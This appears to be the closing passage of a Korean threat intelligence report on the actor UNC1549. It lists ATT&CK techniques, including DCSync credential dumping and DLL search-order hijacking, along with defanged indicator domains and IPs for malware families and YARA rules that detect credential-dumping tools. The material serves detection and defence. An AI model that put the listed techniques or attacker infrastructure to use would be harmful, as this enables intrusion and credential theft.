UNC1549가 도메인을 상대로 패스워드 스프레이 공격을 수행하는 것이 관찰되었습니다.

자격 증명 접근

T1003.006

OS 자격 증명 덤프: DCSync

UNC1549가 도메인 컨트롤러 수준에서 DCSync를 수행하기 위해 DCSYNCER.SLICK을 사용하는 것이 관찰되었습니다.

방어 회피

T1574.001

실행 흐름 하이재킹: DLL 검색 순서 하이재킹

UNC1549가 LIGHTRAIL과 DCSYNCER.SLICK을 모두 실행하기 위해 검색 순서 하이재킹을 사용하는 것이 관찰되었습니다.

초기 접근

T1078

유효한 계정

UNC1549는 초기 접근 권한을 얻기 위해 유효한 침해 계정을 사용했습니다.

초기 접근

T1199

신뢰 관계

UNC1549는 초기 접근과 내부 이동 모두에 신뢰할 수 있는 제3자 벤더 계정을 사용했습니다.

침해 지표 (Indicators of Compromise, IOCs)

등록된 사용자는 GTI(구글 위협 인텔리전스) 컬렉션에서 다음 IOC를 확인할 수 있습니다.

유형

지표

설명

네트워크

104.194.215[.]88

SSH 터널링에 사용된 것으로 관찰됨

네트워크

13.60.50[.]172

SSH 터널링에 사용된 것으로 관찰됨

네트워크

167.172.137[.]208

SSH 터널링에 사용된 것으로 관찰됨

네트워크

34.18.42[.]26

SSH 터널링에 사용된 것으로 관찰됨

네트워크

4.188.75[.]206

SSH 터널링에 사용된 것으로 관찰됨

네트워크

4.240.113[.]27

SSH 터널링에 사용된 것으로 관찰됨

네트워크

40.119.176[.]233

SSH 터널링에 사용된 것으로 관찰됨

네트워크

politicalanorak[.]com

SSH 터널링에 사용된 것으로 관찰됨

네트워크

ac-connection-status105.azurewebsites[.]net

GHOSTLINE

네트워크

acc-cloud-connection.azurewebsites[.]net

GHOSTLINE

네트워크

active-az-check-status45.azurewebsites[.]net

POLLBLEND

네트워크

active-az-check-status675.azurewebsites[.]net

POLLBLEND

네트워크

active-az-status45.azurewebsites[.]net

POLLBLEND

네트워크

active-az-status795.azurewebsites[.]net

POLLBLEND

네트워크

active-internal-log65.azurewebsites[.]net

POLLBLEND

네트워크

active-internal-logs.azurewebsites[.]net

POLLBLEND

네트워크

active-intranet-logs.azurewebsites[.]net

POLLBLEND

네트워크

airbus.usa-careers[.]com

초기 접근용 피싱 도메인

네트워크

airlinecontrolsite.uaenorth.cloudapp.azure[.]com

DEEPROOT

네트워크

airlinecontrolsite.westus3.cloudapp.azure[.]com

DEEPROOT

네트워크

airplaneserviceticketings[.]com

MINIBIKE

네트워크

airseatregister.eastus.cloudapp.azure[.]com

DEEPROOT

네트워크

airseatsregister.qatarcentral.cloudapp.azure[.]com

DEEPROOT

네트워크

airseatsregistering.qatarcentral.cloudapp.azure[.]com

DEEPROOT

네트워크

airtravellog[.]com

TWOSTROKE

네트워크

automationagencybusiness.azurewebsites[.]net

TWOSTROKE

네트워크

automationagencybusiness[.]com

TWOSTROKE

네트워크

browsercheckap.azurewebsites[.]net

MINIBIKE

네트워크

codesparkle.eastus.cloudapp.azure[.]com

TWOSTROKE

네트워크

connect-acc-492.azurewebsites[.]net

POLLBLEND

네트워크

connect-acl-492.azurewebsites[.]net

POLLBLEND

네트워크

customerlistchange.eastus.cloudapp.azure[.]com

LIGHTRAIL

네트워크

developercodepro.azurewebsites[.]net

TWOSTROKE

네트워크

developercodevista.azurewebsites[.]net

TWOSTROKE

네트워크

dreamtiniventures.azurewebsites[.]net

TWOSTROKE

네트워크

fdtsprobusinesssolutions.azurewebsites[.]net

TWOSTROKE

네트워크

fdtsprobusinesssolutions[.]com

TWOSTROKE

네트워크

fdtsprobusinesssolutions.eastus.cloudapp.azure[.]com

TWOSTROKE

네트워크

fdtsprobusinesssolutions.northeurope.cloudapp.azure[.]com

TWOSTROKE

네트워크

forcecodestore[.]com

TWOSTROKE

네트워크

hserbhh43.westus3.cloudapp.azure[.]com

SSH 터널링에 사용된 것으로 관찰됨

네트워크

infrasync-ac372.azurewebsites[.]net

POLLBLEND

네트워크

intra-az-check-status45.azurewebsites[.]net

POLLBLEND

네트워크

intra-az-check-status675.azurewebsites[.]net

POLLBLEND

네트워크

intra-az-status45.azurewebsites[.]net

POLLBLEND

네트워크

intra-az-status795.azurewebsites[.]net

POLLBLEND

네트워크

masterflexiblecloud.azurewebsites[.]net

TWOSTROKE

네트워크

mso-internal-log65.azurewebsites[.]net

POLLBLEND

네트워크

mso-internal-logs.azurewebsites[.]net

POLLBLEND

네트워크

mso-intranet-logs.azurewebsites[.]net

POLLBLEND

네트워크

mydocs.qatarcentral.cloudapp.azure[.]com

내부 이동용 피싱 도메인

네트워크

nx425-win4945.azurewebsites[.]net

POLLBLEND

네트워크

nx4542-win4957.azurewebsites[.]net

POLLBLEND

네트워크

nxlog-crash-1567.azurewebsites[.]net

POLLBLEND

네트워크

nxlog-win-1567.azurewebsites[.]net

POLLBLEND

네트워크

nxversion-win-1567.azurewebsites[.]net

POLLBLEND

네트워크

nxversion-win32-1127.azurewebsites[.]net

POLLBLEND

네트워크

overqatfa.northeurope.cloudapp.azure[.]com

SSH 터널링에 사용된 것으로 관찰됨

네트워크

queuetestapplication.azurewebsites[.]net

MINIBIKE

네트워크

skychain13424.azurewebsites[.]net

MINIBIKE

네트워크

skychain41334.northeurope.cloudapp.azure[.]com

MINIBIKE

네트워크

skychains42745.eastus.cloudapp.azure[.]com

MINIBIKE

네트워크

skyticketgrant.azurewebsites[.]net

MINIBIKE

네트워크

snare-core.azurewebsites[.]net

POLLBLEND

네트워크

storageboxcloud.northeurope.cloudapp.azure[.]com

TWOSTROKE

네트워크

storagewiz.co.azurewebsites[.]net

TWOSTROKE

네트워크

swiftcode.eastus.cloudapp.azure[.]com

TWOSTROKE

네트워크

swifttiniventures.azurewebsites[.]net

TWOSTROKE

네트워크

terratechworld.eastus.cloudapp.azure[.]com

TWOSTROKE

네트워크

thecloudappbox.azurewebsites[.]net

TWOSTROKE

네트워크

thestorageboxcloud.northeurope.cloudapp.azure[.]com

TWOSTROKE

네트워크

thetacticstore[.]com

TWOSTROKE

네트워크

thevaultapp.westus3.cloudapp.azure[.]com

TWOSTROKE

네트워크

thevaultspace.eastus.cloudapp.azure[.]com

TWOSTROKE

네트워크

tini-ventures[.]com

TWOSTROKE

네트워크

vcphone-ms.azurewebsites[.]net

POLLBLEND

네트워크

vcs-news[.]com

SSH 터널링에 사용된 것으로 관찰됨

네트워크

vm-ticket-svc.azurewebsites[.]net

POLLBLEND

네트워크

vm-tools-svc.azurewebsites[.]net

POLLBLEND

네트워크

vmware-health-ms.azurewebsites[.]net

POLLBLEND

YARA 룰

import "pe"

rule M_APT_Utility_DCSYNCER_SLICK_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "10f16991665df69d1ccd5187e027cf3d"
	strings:
		$ = { 48 89 84 24 ?? 01 00 00 C7 84 24 ?? 01 00 00 30 80 28 00 C7 84 24 ?? 01 00 00 E8 03 00 00 48 C7 84 24 ?? 01 00 00 00 00 A0 00 BA ?? 00 00 00 8D 4A ?? FF 15 ?? ?? 01 00 48 89 84 24 ?? 01 00 00 C7 00 01 00 00 00 48 8B 84 24 ?? 01 00 00 44 89 ?? 04 48 8B 84 24 ?? 01 00 00 C7 40 08 ?? 00 00 00 41 8B ?? }
		$ = "\\LOG.txt" ascii wide
		$ = "%ws_%d:%d:" ascii wide fullword
		$ = "%ws:%d:" ascii wide fullword
		$ = "::::" ascii wide fullword
		$ = "%ws_%d:%d::" ascii wide fullword
		$ = "%ws:%d::" ascii wide fullword
	condition:
		pe.is_pe and all of them
}
import "pe"

rule M_APT_Utility_CRASHPAD_1 {
	meta:
		author = "Google Threat Intelligence Group (GTIG)"
		md5 = "b2bd275f97cb95c7399065b57f90bb6c"
	strings:
		$ = "[-] Loo ror: %u" ascii fullword
		$ = "[-] Adj r: %u" ascii fullword
		$ = "[-] Th ge. " ascii fullword
		$ = "[+] O s!" ascii fullword
		$ = "[-] O C: %i" ascii fullword
		$ = "[-] O E: %i" ascii fullword
		$ = "[+] Op cess!" ascii fullword
		$ = "[-] Op Code: %i" ascii fullword
		$ = "[-] O Error: %i" ascii fullword
		$ = "[+] Im su!" ascii fullword
		$ = "[+] R" ascii fullword
		$ = "[-] Impe Code: %i" ascii fullword
		$ = "[-] Imo: %i" ascii fullword
		$ = "[+] Du success!" ascii fullword
		$ = "[-] Du Code: %i" ascii fullword
		$ = "[-] Du Error: %i" ascii fullword
		$ = "[+] Dec Suc." ascii fullword
		$ = "%02X" ascii fullword
		$ = "Decryption failed" ascii fullword
		$ = "config.txt"
		$ = "crash.log"
		$ = "[+] e wt!" ascii fullword
		$ = "[+] p %d!" ascii fullword
		$ = "[+] e!" ascii fullword
	condition:
		pe.is_pe and 15 of them
}

Google Security Operations 탐지

Google SecOps 고객은 맨디언트(Mandiant)와 구글 위협 인텔리전스(Google Threat Intelligence)가 제공하는 선별된 위협 인텔리전스를 통해 UNC1549의 TTP에 대한 강력한 탐지 기능을 제공받습니다. 이러한 최전방 인텔리전스는 플랫폼 내에서 맞춤형 탐지 시그니처와 고급 YARA-L 규칙으로 실제 운영에 적용됩니다.

게시 위치